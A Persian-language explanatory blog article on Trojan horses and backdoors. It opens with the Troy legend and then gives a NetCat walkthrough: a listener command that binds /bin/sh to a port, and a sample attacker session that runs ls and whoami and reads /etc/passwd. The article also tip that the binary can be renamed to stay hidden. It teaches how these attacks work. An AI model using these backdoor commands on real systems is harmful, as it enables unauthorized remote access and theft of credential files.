تکنولوژی

آشنایی با اسبهای تروا در شبکه

آشنایی با اسبهای تروا در شبکه

تقریباً همۀ ما این داستان قدیمی را شنیدهایم که وقتی سربازان یونانی شهر ”تِرُویْ “ را محاصره کردند تا مدت های زیادی نتوانستند بدلیل حفاظت شدیدی که از دیوار شهر میشد، به درون شهر راه پیدا کنند و ماهها پشت دروازۀ شهر به محاصره ادامه دادند

بدون آنکه موفق به فتح آن شوند. سرانجام برای نفوذ به شهر و شکستن محاصره ، به نقشهای که دختر فرمانده کشیده بود عمل کردند. آنها یک اسب چوبی بسیار عظیم ساختند و آنرا به عنوان هدیه در جلوی دروازۀ شهر گذاشته و در دوردست

پنهان شدند.

ساکنین شهر غافل از آنکه در درون این اسب بزرگ جنگجویانی پنهان شده اند آنرا داخل شهر آورده و به مناسبت ختم محاصره به جشن و پایکوبی پرداختند.

نیمه شب، در حالی که اهالی شهر خسته و خوابآلوده از پا افتاده بودند، جنگجویان از اسب چوبی بیرون آمده، دروازۀ شهر را گشودند و شهر به راحتی فتح شد! هزاران سال پس از این واقعه و در عصر حاضر بار دیگر این داستان تکرار میشود.

البته در دنیای شبکه های کامپیوتری و آنهم نه به صورت افسانهای بلکه کاملاً حقیقی و مخرّب با این مقدمه ”اسب تروا“ یک برنامۀ آلوده به کدهای اجرایی است که غالباً ظاهری فریبنده یا کاملاً معمولی دارند.

این برنامه ها پس از آنکه بدست خود کاربر بر روی ماشین اجرا شوند همانند یک سرویس دهنده، کنترل و هدایت آن ماشین را در اختیار نفوذگر قرار میدهند. از آن به بعد نفوذگر است که تصمیم میگیرد که با آن ماشین چه کار کند.

داده های حیاتی مثل کلمات عبور را بدزدد یا فایلهای او را کاملاً نابود کند یا آنکه از آن ماشین به عنوان یک قربانی برای حملات بعدی شبیه Session Hijacking ، Sniffing ، Arpspoofing یا حملات DDOS استفاده کند.

کدهای مخرب اسب تروا در قالب یک ”برنامۀ سوکت“ یا ”برنامۀ تحت شبکه“ به یک برنامه مفید میچسبند یا آنکه کلاً برنامه ای هستند که یک کار ظاهراً مفید انجام میدهند ولی در حقیقت ستون پنجم محسوب میشوند؛ بدین معنا که کنترل سیستم را در اختیار

یک بدخواه قرار میدهند!

به سناریوی واقعی زیر دقت کنید: دو سال پیش در یکی از سایت های وب متعلق به نفوذگران بدخواه (نفوذگران کلاه سیاه) اعلام شده بود که نرم افزار رایگانی نوشته اندکه با نصب آن دیسک گردان CD معمولی به یک دیسک گردان قابل ضبط (CD Writer)

تبدیل میشود. در این سایت ، نرم افزار جهت دریافت، آزاد و رایگان اعلام شده بود. اگرچه امروز شما به ابلهانه بودن چنین سخنی ایمان دارید چون از لحاظ سختافزاری چنین امری محال است ولی برای کاربران عادی شبکه که میلیونها نفر را تشکیل میدهند

(بیش از 90 درصد کلّ کاربران) هیچ خبری در دنیای رایانه غیرقابل باور نیست و همه چیز شدنی است! کم نبودند افرادی که این نرم افزار آلوده را دریافت و اجرا کردند و تمام اطلاعات خود را از دست دادند.

امروزه اکثر اسبهای تروا پس از اجرا بر روی ماشین ، پنهان شده و خود را بگونه ای نصب میکنند که پس از هر بار ورود کاربر به سیستم فعال شوند. آنها هیچ اختلالی که باعث شود کاربر از وجود آنها مطلع گردد ، انجام نمیدهند بلکه مخفی میمانند تا هرگاه

نفوذگر اراده کرد از راه دور کنترل آن ماشین را برعهده بگیرد و اهداف خود را دنبال کند.

“درهای پشتی”-Backdoors-

بگونه ای که از اسم این بخش آشکار است، ”در پشتی“ ابزاری نرم افزاری است که به نفوذگر اجازه میدهد تا به یک سیستم وارد شود بدون آنکه به تشریفات معمول و سختگیرانه ای مثل اخذ کلمۀ عبور و احراز هویت نیاز باشد! اگر ورود به سیستم را درب

جلوئی سیستم در نظر بگیریم برای ورود از چنین دری باید کاربر احراز هویت شود و سپس با تعیین سطح مجوزی که از طرف سیستم بر او تحمیل میشود ، از سیستم استفاده نماید. ”در پشتی“ ابزاری است که این مراحل را از پیش پای نفوذگر بر میدارد و

بدون نیاز به هیچگونه احراز هویت ، اجازۀ ورود و بهرهگیری از سیستم را به او میدهد. مادامیکه چنین دربی برای نفوذگر وجود دارد رخنه به سیستم بسادگی امکانپذیر است.

گاهی در برخی از سیستم ها ، روشهای بسیار پیچیده و فنی برای احراز هویت بکار گرفته میشود ، حتی مبادلۀ داده ها رمزنگاریشده انجام میشود و امنیت در حد بالائی رعایت شده است در حالیکه یک نرم افزار ”در پشتی“ تمام این تکنیک های پیشرفته را دور

زده و از پیش پای نفوذگر برداشته است.

NetCat : در پشتی برای هر سیستم عامل سازگار با یونیکس

کدهای برنامۀ NetCat بصورت رایگان و باز در اختیار است. نفوذگر برنامۀ NatCat را با گزینۀ : "GAPING_SECURITY_HOLE" ترجمه (کامپایل) میکند. درج این گزینه موقع ترجمۀ آن در خط فرمان ، باعث میشود تا NetCat بتواند در هنگام برقراری ارتباط یک

برنامۀ دیگر را اجرا کرده و داده های دریافتی را به آن برنامه هدایت نماید.

وقتی که نفوذگر با اجرای فرمان زیر NatCat را روی ماشین قربانی اجرا مینماید، به محض برقراری ارتباط با قربانی، برنامۀ ”پوسته فرمان Command Shell" اجرا شده و داده های ارسالی جهت پردازش به این برنامه هدایت میشود:

$ nc -l -p [port] –e /bin/sh

این فرمان یک در پشتی برای نفوذگر باز میکند و برای ورود به سیستم از این درب ، فقط برقراری یک ارتباط TCP با شماره پورت 12345 کافی است. به خاطر داشته باشید که nc نام مخفف NatCat است و شما براحتی میتوانید آنرا به هر نام دلخواه دیگر

تغییر بدهید.

وقتی نفوذگر یک ارتباط TCP با پورت 12345 از ماشین قربانی برقرار کند، سریعاً برنامۀ ”پوستۀ فرمان“ اجرا میشود. هر چه را نفوذگر از طریق ماشین خود تایپ کند بعنوان فرامین سیستمی تحویل پوستۀ فرمان شده و اجرا میشوند. در مثال زیر مراحل

واقعی از محاورۀ نفوذگر با ماشین قربانی تشریح شده است (فرض کنید NetCat با مشخصات فرمان بالا روی ماشین قربانی اجرا شده است)

$ nc victim_machine 12345
این فرمان NetCat را در ”حالت مشتری“ اجرا میکند. در ابتدای اجرا ، NetCat سعی میکند با پورت 12345 از ماشین قربانی ارتباط TCP برقرار نماید. victim_machine نام حوزه یا آدرس IP ماشینی است که برنامه NetCat بر روی آن ، در ”حالت شنود“ اجرا شده است.
ls
نفوذگر با تایپ این دستور در خط فرمان NetCat ، تلاش کرده تا فهرست فایلها و شاخه های ماشین قربانی را ببیند. (فرمان ls در یونیکس مثل دستور Dir در Dos است )
sensitive_documents
tools
games
به فرض این سه خط پاسخ دستور ls هستند. از بین این فهرست ، شاخۀ sensitive_documents برای نفوذگر بسیار جالب و جذاب است!
whoami
نفوذگر با تایپ این دستور در خط فرمان تقاضا کرده تا سیستم ، User ID کاربری را که NetCat تحت مجوز آن کاربر روی ماشین اجرا شده است، نشان بدهد.
fred
این کلمه ، پاسخ دستور whoami است؛ یعنی کاربری که روی ماشین او برنامۀ اجرا شده دارای UserID معادل با fred است.
cat /etc/passwd
این دستور ، فایل مربوط به کلمات عبور کاربران مختلف را به نفوذگر نشان میدهد. اگر سیستم از: گزینۀ shadow password استفاده نکرده باشد، کلمات عبور بصورت رمزنگاری شده به او نشان داده خواهد شد.

نکات جالبی در مثال قبل وجود دارد که ذکر آنها خالی از لطف نیست:

  • اوّل آنکه نفوذگر برای ورود به سیستم از در پشتی نیاز به هیچ عملی بجز برقراری یک ارتباط TCP با پورت 12345 نیاز نداشته و احراز هویت و رمزنگاری معنائی ندارد؛ لذا هر متجاوز دیگر نیز قادر است اختیار آن سیستم را در دست بگیرد. این موضوع که کسی جز خود نفوذگر بتواند به سیستم قربانی دستبرد بزند برای او که اهداف خود را دنبال میکرده و براساس آن اهداف، به سیستم نفوذ نموده است جالب نیست.
  • دوم آنکه پس از برقراری ارتباط NetCat با پورت 12345 از ماشین قربانی، ”علامت خط فرمان“ (مثل علامت $) روی خروجی ظاهر نمیشود . NetCat هیچگونه علامتی در خط فرمان ندارد.
  • سوم آنکه فرامین ارسالی به سمت برنامۀ ”پوسته فرمان“ بر روی ماشین قربانی ، دارای خروجی قابل نمایش هستند. خروجی این فرامین مخفیانه به سمت ماشین نفوذگر هدایت میشوند؛ لذا اجرای این دستورات توسط کاربری که ماشین او قربانی یک نفوذ شده ، احساس نخواهد شد.
  • چهارم آنکه اگر چه NetCat ذاتاً برای محیط های سازگار با یونیکس نوشته شده ولی میتوان از نسخۀ تحت ویندوز آن (قابل اجرا روی Win XP و Win و 2000 Win NT) استفاده کرد.
  • پنجم آنکه ممکن است سؤال کنید ، وقتی نفوذگر توانسته است به نحوی به ماشین قربانی نفوذ کند بگونه ای که قادر بوده برنامۀ NetCat را بر روی آن اجرا نماید، چه لزومی به ایجاد درب پشتی دارد؟ ایجاد یک ابزار به عنوان ”در پشتی“ روی ماشین قربانی به این دلیل موجه است که اولاً به هر دلیلی ممکن است کاربر مشخصات Account خود را تغییر بدهد و نفوذگر برای حملات بعدی به زحمت بیفتد. ثانیاً درب پشتی با خارج شدن کاربر باز خواهد ماند. ثالثاً ممکن است بطور کلی حساب کاربر بر روی آن ماشین بسته شود. نفوذگر پس از آنکه به یک ماشین رخنه کرد تمایل دارد این نفوذ دائمی ، مطمئن و بیزحمت باشد.

محمد

محمد

برنامه نویس و کارشناس شبکه
دیدن ادامه مقالات

کارشناس شبکه و نرم افزار


برای ارسال دیدگاه لطفا ثبت نام کنید

نظرات کاربران